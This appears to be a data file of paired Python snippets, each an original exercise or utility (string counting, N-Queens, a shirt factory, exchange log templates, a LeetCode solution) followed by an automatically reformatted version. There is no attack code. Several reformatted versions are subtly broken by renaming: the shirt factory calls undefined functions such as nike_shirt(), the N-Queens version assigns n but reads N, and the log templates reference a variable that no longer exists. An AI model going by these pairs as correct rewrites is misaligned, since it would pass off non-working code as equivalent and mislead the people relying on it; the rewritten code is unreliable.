'\nclass Test(object):\n @classproperty\n def NAME1(cls):\n print("CALL \'Test.NAME1\'")\n return cls._NAME1 if hasattr(cls,"_NAME1") else "Jack1" \n\n @classproperty\n def NAME2(cls):\n print("CALL \'Test.NAME2\'")\n return cls._NAME2 if hasattr(cls,"_NAME2") else "Jack2" \n\n\n @cachedclassproperty\n def CACHED_NAME1(cls):\n print("CALL \'Test.CACHED_NAME1\'")\n return cls._CACHED_NAME1 if hasattr(cls,"_CACHED_NAME1") else "Cached Jack1" \n\n @cachedclassproperty\n def CACHED_NAME2(cls):\n print("CALL \'Test.CACHED_NAME2\'")\n return cls._CACHED_NAME2 if hasattr(cls,"_CACHED_NAME2") else "Cached Jack2" \n\n @cachedclassproperty\n def CACHED_NAME3(cls):\n print("CALL \'Test.CACHED_NAME3\'")\n return cls._CACHED_NAME3 if hasattr(cls,"_CACHED_NAME3") else "Cached Jack3" \n\nclass Test1(Test):\n @classproperty\n def NAME2(cls):\n print("CALL \'Test1.NAME2\'")\n return cls._NAME2 if hasattr(cls,"_NAME2") else "Tommy2" \n\n\n @cachedclassproperty\n def CACHED_NAME2(cls):\n print("CALL \'Test1.CACHED_NAME2\'")\n return cls._CACHED_NAME2 if hasattr(cls,"_CACHED_NAME2") else "Cached Tommy2" \n\n @classproperty\n def CACHED_NAME3(cls):\n print("CALL \'Test1.CACHED_NAME3\'")\n return cls._CACHED_NAME3 if hasattr(cls,"_CACHED_NAME3") else "Cached Tommy3" \n\nThe setter didn\'t work at the time we call Bar.bar, because we are calling TypeOfBar.bar.__set__, which is not Bar.bar.__set__.\n\nAdding a metaclass definition solves this:\n\nclass ClassPropertyMetaClass(type):\n def __setattr__(self, key, value):\n if key in self.__dict__:\n obj = self.__dict__.get(key)\n if obj and type(obj) is ClassPropertyDescriptor:\n return obj.__set__(self, value)\n\n return super(ClassPropertyMetaClass, self).__setattr__(key, value)\n\n# and update class define:\n# class Bar(object):\n# __metaclass__ = ClassPropertyMetaClass\n# _bar = 1\n\n# and update ClassPropertyDescriptor.__set__\n# def __set__(self, obj, value):\n# if not self.fset:\n# raise AttributeError("can\'t set attribute")\n# if inspect.isclass(obj):\n# type_ = obj\n# obj = None\n# else:\n# type_ = type(obj)\n# return self.fset.__get__(obj, type_)(value)\n' |
#Escreva um programa que leia uma string e imprima quantas vezes cada caractere aparece nessa string
string = input('Digite uma string: ')
count = {}
for i in string:
count[i] = count.get(i,0) + 1
for chave, valor in count.items():
print(f'{chave}: {valor}x')
print() | string = input('Digite uma string: ')
count = {}
for i in string:
count[i] = count.get(i, 0) + 1
for (chave, valor) in count.items():
print(f'{chave}: {valor}x')
print() |
mitreid_config = {
"dbname": "example_db",
"user": "example_user",
"host": "example_address",
"password": "secret"
}
proxystats_config = {
"dbname": "example_db",
"user": "example_user",
"host": "example_address",
"password": "secret"
} | mitreid_config = {'dbname': 'example_db', 'user': 'example_user', 'host': 'example_address', 'password': 'secret'}
proxystats_config = {'dbname': 'example_db', 'user': 'example_user', 'host': 'example_address', 'password': 'secret'} |
print("Hello World")
a =5
b = 6
sum = a+b
print(sum)
print(sum -11)
| print('Hello World')
a = 5
b = 6
sum = a + b
print(sum)
print(sum - 11) |
# https://leetcode.com/problems/maximum-product-subarray/submissions/
"""
For cases like : [2,3,4] => Product is always going to increase since all nums are +ve
For cases like : [-2 , -3 , -4] => Product is always going to decrease since all nums are -ve
For cases like : [-2 , 3 , 4] => Product may increase or decrease bcoz of the sign
If we use one variable to store the max , we may end up getting a value lesser than expected due
to encountering of negative numbers and zeroes in between
So we use two variables to store the max and min product respectively
curr_max = max(nums[i] , curr_max * nums[i] , curr_min * nums[i])
curr_min = min(nums[i] , curr_max * nums[i] , curr_min * nums[i])
Note : For curr_min , we dont require the updated curr_max , hence to avoid the updated curr_max being
used , we store curr_max*nums[i] in a variable temp
temp = curr_max * nums[i]
So ,
curr_min = min(nums[i] , temp , curr_min * nums[i])
res = max(res , curr_max)
Dry run for 1st sample input:
For nums = [2,3,-2,4]
curr_max = 1
curr_min = 1
res = max([2,3,-2,4]) = 4
1. i = 0
curr_max = max(2 , 2*1 , 2*1) = 2
curr_min = min(2 , 2*1 , 2*1) = 2
res = 4
2. i = 1
curr_max = max(3 , 3*2 , 3*2) = 6
curr_min = min(3 , 3*2 , 3*2) = 3
res = 6
3. i = 2
curr_max = max(-2 , -2*6 , -2*3) = -2
curr_min = min(-2 , -2*6 , -2*3) = -12
res = 6
4. i = 3
curr_max = max(4 , 4*-2 , 4*-12) = 4
curr_min = min(4 , 4*-2 , 4*-12) = -48
res = 6
o/p : res = 6
"""
class Solution(object):
def maxProduct(self, nums):
"""
:type nums: List[int]
:rtype: int
"""
curr_max = 1
curr_min = 1
res = max(nums)
for i in range(0 , len(nums)):
if(nums[i] == 0):
# Avoid zeroes
curr_max = 1
curr_min = 1
continue
# Computing temp to store the curr_max * nums[i] , so as to avoid using the updated value of curr_max while calculating curr_min
temp = curr_max * nums[i]
curr_max = max(curr_max * nums[i] , curr_min * nums[i] , nums[i])
curr_min = min(temp , curr_min * nums[i] , nums[i])
res = max(res , curr_max)
return res
"""
TC : O(n)
"""
| """
For cases like : [2,3,4] => Product is always going to increase since all nums are +ve
For cases like : [-2 , -3 , -4] => Product is always going to decrease since all nums are -ve
For cases like : [-2 , 3 , 4] => Product may increase or decrease bcoz of the sign
If we use one variable to store the max , we may end up getting a value lesser than expected due
to encountering of negative numbers and zeroes in between
So we use two variables to store the max and min product respectively
curr_max = max(nums[i] , curr_max * nums[i] , curr_min * nums[i])
curr_min = min(nums[i] , curr_max * nums[i] , curr_min * nums[i])
Note : For curr_min , we dont require the updated curr_max , hence to avoid the updated curr_max being
used , we store curr_max*nums[i] in a variable temp
temp = curr_max * nums[i]
So ,
curr_min = min(nums[i] , temp , curr_min * nums[i])
res = max(res , curr_max)
Dry run for 1st sample input:
For nums = [2,3,-2,4]
curr_max = 1
curr_min = 1
res = max([2,3,-2,4]) = 4
1. i = 0
curr_max = max(2 , 2*1 , 2*1) = 2
curr_min = min(2 , 2*1 , 2*1) = 2
res = 4
2. i = 1
curr_max = max(3 , 3*2 , 3*2) = 6
curr_min = min(3 , 3*2 , 3*2) = 3
res = 6
3. i = 2
curr_max = max(-2 , -2*6 , -2*3) = -2
curr_min = min(-2 , -2*6 , -2*3) = -12
res = 6
4. i = 3
curr_max = max(4 , 4*-2 , 4*-12) = 4
curr_min = min(4 , 4*-2 , 4*-12) = -48
res = 6
o/p : res = 6
"""
class Solution(object):
def max_product(self, nums):
"""
:type nums: List[int]
:rtype: int
"""
curr_max = 1
curr_min = 1
res = max(nums)
for i in range(0, len(nums)):
if nums[i] == 0:
curr_max = 1
curr_min = 1
continue
temp = curr_max * nums[i]
curr_max = max(curr_max * nums[i], curr_min * nums[i], nums[i])
curr_min = min(temp, curr_min * nums[i], nums[i])
res = max(res, curr_max)
return res
'\nTC : O(n)\n\n' |
# Welcome back, How did you do on your first quiz? If you got most of the
# questions right, great job. If not, no worries it's all part of elarning. We'll be here
# to help you check that you've really got your head around these concepts with
# regular quizzes like this. If you ever find a question tricky, go back and review the
# videos and then try the quiz again. You want to feel super comfortable with what
# you've learned before jumping into the next lesson. Remember, take your time. I
# will be here whenever you're ready to move on. Okay. Feeling good? Great. Let us
# dive in. In this course, we will use the Python programming language to
# demonstrate basic programming concepts and how to apply them to writing
# scripts. We have mentioned that there are a bunch of programming languages
# out there. So why pick Python? Well, we chose Python for a few reasons. First off,
# programming in Python usually feels similar to using a human language. This is
# because Python makes it easy to express what we want to do with syntax that's
# easy to read and write. Check out this example. There is a lot to unpack here so
# don't worry if you don't understand it right away, we'll get into the nitty-gritty
# details later in the course. But even if you've never seen a line of code before,
# you might be able to guess what this code does. It defines a list with names of
# friends and then creates a greeting for each name in the list. Now it is your turn
# to make friends with Python. Try it out and see what happens. Throughout this
# course, you will execute Python code using your web browser. We'll start with
# some small coding exercises using code blocks just like the one you
# experimented with. Later on as you develop your skills, you'll work on larger
# more complex coding exercises using other tools. Getting good at something
# Takes a whole lot of practice every example we share in this course on your
# own. If you do not have Python installed on your machine, no worries, you can
# still practice using an online Python interpreter. Check out the next reading for
# links to the most popular Python interpreters available online. Now I am sure you
# are wondering what the heck is a Python interpreter. In programming, an
# interpreter is the program that reads and executes code. Remember how we said
# a computer program is like a recipe with step-by-step instructions? Well, if your
# recipe is written in Python, the Python interpreter is the program that reads what
# is in the recipe and translates it into instructions for your computer to follow.
# Eventually, you'll want to install Python on your computer so you can run it locally
# and experiment with it as much as you like. We'll guide you through how to
# install Python in the upcoming course but you don't have to have it installed to
# get your first taste of Python. You can practice with the quizzes we provide and
# with the online interpreters and code pads that we'll give you links to in the next
# reading. We'll provide a whole bunch of exercises but feel free to come
# up with your own and share them in the discussion forums. Feel free to get
# creative. This is your change to show off your new skills.
friends = ['Taylor', 'Alex', 'Pat', 'Eli']
for friend in friends:
print("Hi " + friend)
| friends = ['Taylor', 'Alex', 'Pat', 'Eli']
for friend in friends:
print('Hi ' + friend) |
"""
Entradas
Edad1 --> int --> edad_uno
Edad2 --> int --> edad_dos
Edad3 --> int --> edad_tres
Salidas
Pormedio --> float --> prom
"""
edad_uno=int(input("Digite la edad uno: "))
edad_dos=int(input("Digite la edad dos: "))
edad_tres=int(input("Digite la edad tres: "))
#cajanegra
prom=(edad_uno+ edad_dos+edad_tres)/3
#Salidas
print("El promedio de edad es: "+str(prom))
| """
Entradas
Edad1 --> int --> edad_uno
Edad2 --> int --> edad_dos
Edad3 --> int --> edad_tres
Salidas
Pormedio --> float --> prom
"""
edad_uno = int(input('Digite la edad uno: '))
edad_dos = int(input('Digite la edad dos: '))
edad_tres = int(input('Digite la edad tres: '))
prom = (edad_uno + edad_dos + edad_tres) / 3
print('El promedio de edad es: ' + str(prom)) |
def to_huf(amount: int) -> str:
"""
Amount converted to huf with decimal marks, otherwise return 0 ft
e.g. 1000 -> 1.000 ft
"""
if amount == "-":
return "-"
try:
decimal_marked = format(int(amount), ',d')
except ValueError:
return "0 ft"
return f"{decimal_marked.replace(',', '.')} ft"
| def to_huf(amount: int) -> str:
"""
Amount converted to huf with decimal marks, otherwise return 0 ft
e.g. 1000 -> 1.000 ft
"""
if amount == '-':
return '-'
try:
decimal_marked = format(int(amount), ',d')
except ValueError:
return '0 ft'
return f"{decimal_marked.replace(',', '.')} ft" |
class Shirt:
title = None
color = None
def setTitle(self, title):
self.title = title
def setColor(self, color):
self.color = color
def getTitle(self):
return self.title
def getColor(self):
return self.color
def calculatePrice(self):
return len(self.title) * len(self.color)
def printSpecifications(self):
print("Shirt title:", self.title)
print("Shirt color:", self.color)
print("Shirt price:", self.calculatePrice())
class NikeShirt(Shirt):
title = "Nike"
def __init__(self):
super().__init__()
def calculatePrice(self):
return super().calculatePrice() * 10
class AdidasShirt(Shirt):
title = "Adidas"
def __init__(self):
super().__init__()
def calculatePrice(self):
return super().calculatePrice() * 8
class EcoShirt(Shirt):
title = "Eco (100% cotton)"
def __init__(self):
super().__init__()
def calculatePrice(self):
return super().calculatePrice() * 5
class ShirtFactory:
def getShirt(self, shirtName):
if "nike" in shirtName.lower():
return NikeShirt()
elif "adidas" in shirtName.lower():
return AdidasShirt()
elif "eco" in shirtName.lower():
return EcoShirt()
else:
print("Warning: Unecpected Shirt name", shirtName)
shirt = Shirt()
shirt.setTitle(shirtName)
return shirt
if __name__ == "__main__":
factory = ShirtFactory()
shirtName = input("Enter shirt name: ")
shirtColor = input("Enter shirt color: ")
shirt = factory.getShirt(shirtName)
shirt.setColor(shirtColor)
shirt.printSpecifications()
| class Shirt:
title = None
color = None
def set_title(self, title):
self.title = title
def set_color(self, color):
self.color = color
def get_title(self):
return self.title
def get_color(self):
return self.color
def calculate_price(self):
return len(self.title) * len(self.color)
def print_specifications(self):
print('Shirt title:', self.title)
print('Shirt color:', self.color)
print('Shirt price:', self.calculatePrice())
class Nikeshirt(Shirt):
title = 'Nike'
def __init__(self):
super().__init__()
def calculate_price(self):
return super().calculatePrice() * 10
class Adidasshirt(Shirt):
title = 'Adidas'
def __init__(self):
super().__init__()
def calculate_price(self):
return super().calculatePrice() * 8
class Ecoshirt(Shirt):
title = 'Eco (100% cotton)'
def __init__(self):
super().__init__()
def calculate_price(self):
return super().calculatePrice() * 5
class Shirtfactory:
def get_shirt(self, shirtName):
if 'nike' in shirtName.lower():
return nike_shirt()
elif 'adidas' in shirtName.lower():
return adidas_shirt()
elif 'eco' in shirtName.lower():
return eco_shirt()
else:
print('Warning: Unecpected Shirt name', shirtName)
shirt = shirt()
shirt.setTitle(shirtName)
return shirt
if __name__ == '__main__':
factory = shirt_factory()
shirt_name = input('Enter shirt name: ')
shirt_color = input('Enter shirt color: ')
shirt = factory.getShirt(shirtName)
shirt.setColor(shirtColor)
shirt.printSpecifications() |
"""
Message templates to log when handling responses to requests that are SUCCESFUL.
Failed requests are logged using the error code contained in the response and its related message.
"""
resp_get_currency = '{currency}:\n' \
'\t{fullName}({id}):' \
'\tIs a cryptocurrency: {crypto}\n' \
'\tDeposits available: {payinEnabled}\n' \
'\tpayinPaymentId available: {payinPaymentId}\n' \
'\tRequired confirmations on deposit: {payinConfirmations}\n' \
'\tWithdrawals available: {payoutEnabled}\n' \
'\tpayoutIsPaymentId available: {payoutIsPaymentId}\n' \
'\tTransfers enabled: {transferEnabled}\n'
resp_get_currencies = '{fullname}({id}):' \
'\tIs a cryptocurrency: {crypto}\n' \
'\tDeposits available: {payinEnabled}\n' \
'\tpayinPaymentId available: {payinPaymentId}\n' \
'\tRequired confirmations on deposit: {payinConfirmations}\n' \
'\tWithdrawals available: {payoutEnabled}\n' \
'\tpayoutIsPaymentId available: {payoutIsPaymentId}\n' \
'\tTransfers enabled: {transferEnabled}\n'
resp_get_symbol = '{id}:\n' \
'\tBase currency: {baseCurrency}\n' \
'\tQuote currency: {quoteCurrency}\n' \
'\tMinimum quantity increment: {quantityIncrement}\n' \
'\tTick size: {tickSize}\n' \
'\tMaker fee: {takeLiquidityRate}\n' \
'\tTaker fee: {provideLiquidityRate}\n' \
'\tFee currency: {feeCurrency}\n'
resp_get_symbols = '{id}:\n' \
'\tBase currency: {baseCurrency}\n' \
'\tQuote currency: {quoteCurrency}\n' \
'\tMinimum quantity increment: {quantityIncrement}\n' \
'\tTick size: {tickSize}\n' \
'\tMaker fee: {takeLiquidityRate}\n' \
'\tTaker fee: {provideLiquidityRate}\n' \
'\tFee currency: {feeCurrency}\n'
resp_get_trades = 'Trade ID ({id}):' \
'\tPrice: {price}\n' \
'\tSize: {quantity}\n' \
'\tSide: {side}\n' \
'\tTimestamp: {timestamp}\n'
order_report_template = 'Trade ID ({id}): \tStatus: {status}\n' \
'Order type: {type}' \
'\t\tPrice: {price}' \
'\t\tSize: {quantity}\n' \
'Side: {side}\t' \
'\t\tCumulative size: {cumQuantity}' \
'\t\t\tTime in Force: {timeInForce}\n' \
'Created at: {createdAt}' \
'\t\t\t\t\tUpdated at: {updatedAt}\n' \
'Client Order ID: {clientOrderId}' \
'\t\t\t\tReport type: {reportType}'
original_request_clOrdID = 'Original Request Client Order ID: {originalRequestClientOrderId}'
resp_get_active_orders = order_report_template + original_request_clOrdID + '\n'
resp_get_trading_balance = 'Wallet: {currency}' \
'\t\tAvailable: {available}' \
'\t\tReserved: {reserved}\n'
resp_place_order = 'Successfully placed a new order via websocket!\n' + order_report_template + '\n'
resp_cancel_order = 'Successfully cancelled an order via websocket!\n' + order_report_template+ '\n'
resp_cancel_replace_order = 'Successfully replaced an order via websocket!\n' + order_report_template + original_request_clOrdID + '\n'
resp_subscribe_ticker = 'Succesfully subscribed to {symbol} ticker data!'
resp_subscribe_book = 'Succesfully subscribed to {symbol} order book data!'
resp_subscribe_trades = 'Succesfully subscribed to {symbol} trade data!'
resp_subscribe_candles = 'Succesfully subscribed to {symbol} candle data!'
resp_subscribe_reports = 'Succesfully subscribed to account reports!'
resp_login = 'Successfully logged in!'
response_types = {'getCurrency': resp_get_currency, 'getCurrencies': resp_get_currencies,
'getSymbol': resp_get_symbol, 'getSymbols': resp_get_symbols,
'getTrades': resp_get_trades,
'getOrders': resp_get_active_orders,
'getTradingBalance': resp_get_trading_balance,
'subscribeTicker': resp_subscribe_ticker,
'subscribeOrderbook': resp_subscribe_book,
'subscribeTrades': resp_subscribe_trades,
'subscribeCandles': resp_subscribe_candles,
'subscribeReports': resp_subscribe_reports,
'newOrder': resp_place_order, 'cancelOrder': resp_cancel_order,
'cancelReplaceOrder': resp_cancel_replace_order,
'login' : resp_login}
| """
Message templates to log when handling responses to requests that are SUCCESFUL.
Failed requests are logged using the error code contained in the response and its related message.
"""
resp_get_currency = '{currency}:\n\t{fullName}({id}):\tIs a cryptocurrency: {crypto}\n\tDeposits available: {payinEnabled}\n\tpayinPaymentId available: {payinPaymentId}\n\tRequired confirmations on deposit: {payinConfirmations}\n\tWithdrawals available: {payoutEnabled}\n\tpayoutIsPaymentId available: {payoutIsPaymentId}\n\tTransfers enabled: {transferEnabled}\n'
resp_get_currencies = '{fullname}({id}):\tIs a cryptocurrency: {crypto}\n\tDeposits available: {payinEnabled}\n\tpayinPaymentId available: {payinPaymentId}\n\tRequired confirmations on deposit: {payinConfirmations}\n\tWithdrawals available: {payoutEnabled}\n\tpayoutIsPaymentId available: {payoutIsPaymentId}\n\tTransfers enabled: {transferEnabled}\n'
resp_get_symbol = '{id}:\n\tBase currency: {baseCurrency}\n\tQuote currency: {quoteCurrency}\n\tMinimum quantity increment: {quantityIncrement}\n\tTick size: {tickSize}\n\tMaker fee: {takeLiquidityRate}\n\tTaker fee: {provideLiquidityRate}\n\tFee currency: {feeCurrency}\n'
resp_get_symbols = '{id}:\n\tBase currency: {baseCurrency}\n\tQuote currency: {quoteCurrency}\n\tMinimum quantity increment: {quantityIncrement}\n\tTick size: {tickSize}\n\tMaker fee: {takeLiquidityRate}\n\tTaker fee: {provideLiquidityRate}\n\tFee currency: {feeCurrency}\n'
resp_get_trades = 'Trade ID ({id}):\tPrice: {price}\n\tSize: {quantity}\n\tSide: {side}\n\tTimestamp: {timestamp}\n'
order_report_template = 'Trade ID ({id}): \tStatus: {status}\nOrder type: {type}\t\tPrice: {price}\t\tSize: {quantity}\nSide: {side}\t\t\tCumulative size: {cumQuantity}\t\t\tTime in Force: {timeInForce}\nCreated at: {createdAt}\t\t\t\t\tUpdated at: {updatedAt}\nClient Order ID: {clientOrderId}\t\t\t\tReport type: {reportType}'
original_request_cl_ord_id = 'Original Request Client Order ID: {originalRequestClientOrderId}'
resp_get_active_orders = order_report_template + original_request_clOrdID + '\n'
resp_get_trading_balance = 'Wallet: {currency}\t\tAvailable: {available}\t\tReserved: {reserved}\n'
resp_place_order = 'Successfully placed a new order via websocket!\n' + order_report_template + '\n'
resp_cancel_order = 'Successfully cancelled an order via websocket!\n' + order_report_template + '\n'
resp_cancel_replace_order = 'Successfully replaced an order via websocket!\n' + order_report_template + original_request_clOrdID + '\n'
resp_subscribe_ticker = 'Succesfully subscribed to {symbol} ticker data!'
resp_subscribe_book = 'Succesfully subscribed to {symbol} order book data!'
resp_subscribe_trades = 'Succesfully subscribed to {symbol} trade data!'
resp_subscribe_candles = 'Succesfully subscribed to {symbol} candle data!'
resp_subscribe_reports = 'Succesfully subscribed to account reports!'
resp_login = 'Successfully logged in!'
response_types = {'getCurrency': resp_get_currency, 'getCurrencies': resp_get_currencies, 'getSymbol': resp_get_symbol, 'getSymbols': resp_get_symbols, 'getTrades': resp_get_trades, 'getOrders': resp_get_active_orders, 'getTradingBalance': resp_get_trading_balance, 'subscribeTicker': resp_subscribe_ticker, 'subscribeOrderbook': resp_subscribe_book, 'subscribeTrades': resp_subscribe_trades, 'subscribeCandles': resp_subscribe_candles, 'subscribeReports': resp_subscribe_reports, 'newOrder': resp_place_order, 'cancelOrder': resp_cancel_order, 'cancelReplaceOrder': resp_cancel_replace_order, 'login': resp_login} |
# Python3 program to solve N Queen Problem using backtracking
# N = Number of Queens to be placed (in this case, N = 4)
global N
N = 4
# a function to print the board with the solution
def printSolution(board):
for i in range(N):
for j in range(N):
print (board[i][j], end = " ")
print()
# A function to check if a Queen can be placed on board[row][col].
def isSafe(board, row, col):
# Check this row on left side
for i in range(col):
if board[row][i] == 1:
return False
# Check upper diagonal on left side
for i, j in zip(range(row, -1, -1),
range(col, -1, -1)):
if board[i][j] == 1:
return False
# Check lower diagonal on left side
for i, j in zip(range(row, N, 1),
range(col, -1, -1)):
if board[i][j] == 1:
return False
return True
def solveNQUtil(board, col):
# base case: If all Queens are placed then return true
if col >= N:
return True
# Consider this column and try placing this Queen in all rows one by one
for i in range(N):
if isSafe(board, i, col):
# Place this Queen in board[i][col]
board[i][col] = 1
# recur to place rest of the Queens
if solveNQUtil(board, col + 1) == True:
return True
# If placing Queen in board[i][col] doesn't lead to a solution, then remove Queen from board[i][col]
board[i][col] = 0
# if the Queen can not be placed in any row in this column col then return false
return False
# This function solves the N Queen problem using Backtracking.
# It returns false if Queens cannot be placed, otherwise return true.
def solveNQ():
board = [ [0, 0, 0, 0],
[0, 0, 0, 0],
[0, 0, 0, 0],
[0, 0, 0, 0] ]
if solveNQUtil(board, 0) == False:
print ("Solution does not exist")
return False
printSolution(board)
return True
# Driver Code
solveNQ()
# Output (with N = 4) -
# 0 0 1 0
# 1 0 0 0
# 0 0 0 1
# 0 1 0 0
# Time Complexity = O(n^n), where N is the number of Queens.
| global N
n = 4
def print_solution(board):
for i in range(N):
for j in range(N):
print(board[i][j], end=' ')
print()
def is_safe(board, row, col):
for i in range(col):
if board[row][i] == 1:
return False
for (i, j) in zip(range(row, -1, -1), range(col, -1, -1)):
if board[i][j] == 1:
return False
for (i, j) in zip(range(row, N, 1), range(col, -1, -1)):
if board[i][j] == 1:
return False
return True
def solve_nq_util(board, col):
if col >= N:
return True
for i in range(N):
if is_safe(board, i, col):
board[i][col] = 1
if solve_nq_util(board, col + 1) == True:
return True
board[i][col] = 0
return False
def solve_nq():
board = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]
if solve_nq_util(board, 0) == False:
print('Solution does not exist')
return False
print_solution(board)
return True
solve_nq() |
update_user_permissions_response = {
'user': 'enterprise_search',
'permissions': ['permission2']
}
| update_user_permissions_response = {'user': 'enterprise_search', 'permissions': ['permission2']} |
# CPU: 0.05 s
n = int(input())
if n % 2 == 0:
print((n // 2 + 1) ** 2)
else:
print((n // 2 + 1) * (n // 2 + 2))
| n = int(input())
if n % 2 == 0:
print((n // 2 + 1) ** 2)
else:
print((n // 2 + 1) * (n // 2 + 2)) |
li= list(map(int,input().split(" ")))
a=li[0]
b=li[1]
c=li[2]
d=li[3]
flag=0
if(a==(b+c+d)):
flag=1
elif(b==(a+c+d)):
flag=1
elif(c==(a+b+d)):
flag=1
elif(d == (a+b+c)):
flag=1
elif((a+b) == (c+d)):
flag=1
elif((a+c) == (b+d)):
flag=1
elif((a+d) == (b+c)):
flag=1
if(flag ==1):
print("Yes")
else:
print("No") | li = list(map(int, input().split(' ')))
a = li[0]
b = li[1]
c = li[2]
d = li[3]
flag = 0
if a == b + c + d:
flag = 1
elif b == a + c + d:
flag = 1
elif c == a + b + d:
flag = 1
elif d == a + b + c:
flag = 1
elif a + b == c + d:
flag = 1
elif a + c == b + d:
flag = 1
elif a + d == b + c:
flag = 1
if flag == 1:
print('Yes')
else:
print('No') |
# Generated by [Toolkit-Py](https://github.com/fujiawei-dev/toolkit-py) Generator
# Created at 2022-02-06 10:58:35.566935, Version 0.2.9
__version__ = '0.0.5'
| __version__ = '0.0.5' |
def get_expenses_from_input(input_location):
f = open(input_location, 'r')
expenses = f.read().split('\n')
f.close()
expenses_list_number = []
for expense in expenses:
expenses_list_number.append(int(expense))
expenses_list_number.sort()
return expenses_list_number
def get_three_expenses_which_sum_2020(expenses):
counter = 0
for i,_ in enumerate(expenses):
for j,__ in enumerate(expenses):
for k,___ in enumerate(expenses):
counter += 1
if(expenses[i] + expenses[j] + expenses[k] > 2020):
break
if(expenses[i] + expenses[j] + expenses[k] == 2020):
print(f"Number of comparisons: {counter}")
return (expenses[i], expenses[j], expenses[k])
return "Error"
expenses = get_expenses_from_input('../input.txt')
value1, value2, value3 = get_three_expenses_which_sum_2020(expenses)
print(f"value1={value1}, value2={value2}, value3={value3}")
result = value1 * value2 * value3
print(f"value1 x value2 x value3 = {result}") | def get_expenses_from_input(input_location):
f = open(input_location, 'r')
expenses = f.read().split('\n')
f.close()
expenses_list_number = []
for expense in expenses:
expenses_list_number.append(int(expense))
expenses_list_number.sort()
return expenses_list_number
def get_three_expenses_which_sum_2020(expenses):
counter = 0
for (i, _) in enumerate(expenses):
for (j, __) in enumerate(expenses):
for (k, ___) in enumerate(expenses):
counter += 1
if expenses[i] + expenses[j] + expenses[k] > 2020:
break
if expenses[i] + expenses[j] + expenses[k] == 2020:
print(f'Number of comparisons: {counter}')
return (expenses[i], expenses[j], expenses[k])
return 'Error'
expenses = get_expenses_from_input('../input.txt')
(value1, value2, value3) = get_three_expenses_which_sum_2020(expenses)
print(f'value1={value1}, value2={value2}, value3={value3}')
result = value1 * value2 * value3
print(f'value1 x value2 x value3 = {result}') |
#!/usr/bin/python
class LSRConfig:
# Downstream on demand, unsolicited downstream, or default
# Label distribution protocol
# Label retention mode
LABEL_RETENTION = False
# re-use labels at peers (aka "per interface" scope)
# only applicable for peers that come into different local interfaces
PER_INTERFACE_LABEL_SCOPE = False
# ordered vs. independent LSP control
| class Lsrconfig:
label_retention = False
per_interface_label_scope = False |
tree_map = """.......#................#......
...#.#.....#.##.....#..#.......
..#..#.#......#.#.#............
....#...#...##.....#..#.....#..
....#.......#.##......#...#..#.
...............#.#.#.....#..#..
...##...#...#..##.###...##.....
##..#.#...##.....#.#..........#
.#....#..#..#......#....#....#.
...........................#...
..........#.......#..#.....#.#.
..#.......###..#.#.......#.#...
....#..#....#....#..........#..
..##..#.......#.#...#..........
.....#.......#.....#....#......
..........##..#................
....##.#..###...#..##.....#.#..
..#..#.#.#...#......#...#.....#
....#.#....#...####.##.........
..#.........##...##.#..#..#....
.#......#...#..#..##.#.........
.#....#.......#..##..##..#.#.#.
...........#....#......#.......
..#....#....#...............#..
..#.....#....###.##.....#.#..#.
#..........#.#......#.#....#...
....###...#.#.....#....#.####.#
........#......#...#...#..##..#
...##..............##.#.......#
#..........#...........#.#....#
#...#....#..####..#............
###....#........#..............
...#.##....................#.##
...#..#.....#.....##...#....#..
.......###.#...#.........#.....
.#..#.....#.#..#.....#.........
#................#.............
...#......#.#.....##.#.#....#..
...#..#.#..#.....#...#....#....
.......#......#........#.....#.
.#.##..##.....#.#......#.#.#...
#...............#.....#....#...
.....#...........#..##.........
.....#..#........##..#..#.....#
..###.#.#.......#.#...........#
##....##....#.#....##...#.##.##
..................##.#.#.....#.
.#...........###...#...........
.#.#....#......#....###.#......
.......#.##...#...#..#.#.......
..#.....#.#....#..#............
.....#..#..#....#..#.........#.
..##.#......#.....#...#.#..#.#.
.........#......#....##.......#
#........#..#.#......#...#.#..#
...#....#.#..#....##.......###.
..#...#......#.##..........#...
........#..#..#...#.......#....
.##.#..#...#..#........#.#.####
#..#..#..........#....##...#...
....#...#........##........#...
.#......#.......#..#..#........
#...#.#......#....#............
#........#..##.#...##..........
...#..##.....#......##.#..#.#..
.#.#.....#.....#.####.#..##....
..........###....#.##...#......
.......#.......#..#.#.#.##.#..#
..#.#....#......#.#...#.......#
.#...#....#......#...#.........
.#....#..#....#.##.#....#..##..
...#..#.#..................#...
.##..#.............##.........#
...#.#.#................#.....#
...###..###..................#.
........##.##..#.#...#.....#...
.##...##...#...#....#...#......
#..#....#..#..#.#....#..####...
.#...............##....##.#....
#..#................#...#..#...
.#....#.....#..#.#........#....
...............##.#..##..##....
.#......#........#....#.#...#.#
.#.....#...##.#........#.##.#.#
..###............#..#.#....#...
..#.....#.........#....#..#.#..
.##.....#.#..........#.#....##.
...#...#....#..#......#.#.#..#.
#.....#...#....##...#.......##.
.......#.#.........##..........
............##.#.##...#.......#
.....#........##...#........#..
.#........#.#.#.#....#.........
#....#..#....#.#..#...#.#......
....##...........#...#...##.#.#
......#...##.###.....#.........
............#..##....##......#.
......##....#...#.#....#......#
#..#..#..#.#.#.........#...##.#
...#.........#...#.........##.#
#.#.....#.......#.##..#..#.....
##................#......#....#
....#..#.......#....##.....#...
.....#..#...#...#......#.#....#
..#....#.....#.........#.....#.
..#..#..........#.....#........
.......#..##.#......#.#........
.............##.....#....#.....
...#....#..#.#.#...............
........#....##..#...#........#
..##...............#.....#....#
........##.#.##.#......#..#....
..#.##.......#..........##..#..
.#..............#.#.##.........
.#.......#....#....#.#.#.......
.#.##.......#....#......###.#..
.......#...#............##.....
........#.#..........##..#.....
...###..#......#.....##..#..#..
...........##......#....#......
..............#....#..#..#.#..#
....#...#......#.##...#........
.#.............#..#......###.#.
#...#..#.#..............##..#.#
....................#.........#
..##..#......#.###.....#...#.#.
.#....#.#........#...#........#
..#....#.....#..............#..
##..........#..#..#...#........
...........#..##...#.......#...
........##.............#.......
#....#........#..#.#.###..#....
...........##..........##......
#......#.....##.#.##......##...
..#......#.........#.......#..#
......#.#....##..##.#...#.#...#
......#..................##....
...#....#.#...#.#.......##.....
#.#...##...##........#...##....
..#.......#.#.#...#............
.......#......#..#...#.........
#...#..#...........##..........
......#....#.........#.#....#..
#......#........#...#..##....#.
.....#.......##..#.#......#..#.
...........#......#...#......#.
#.#.##.....#....#.....##......#
.....##..#.#.#.###........#.#..
...#...#.#......#......#.......
......###....#..##...#.#.##....
#.....#.....#..................
...#...#......#...............#
..#............##..#.....#.....
.#....#...#...#...#...#..#.....
.##......#.........#.###.#.....
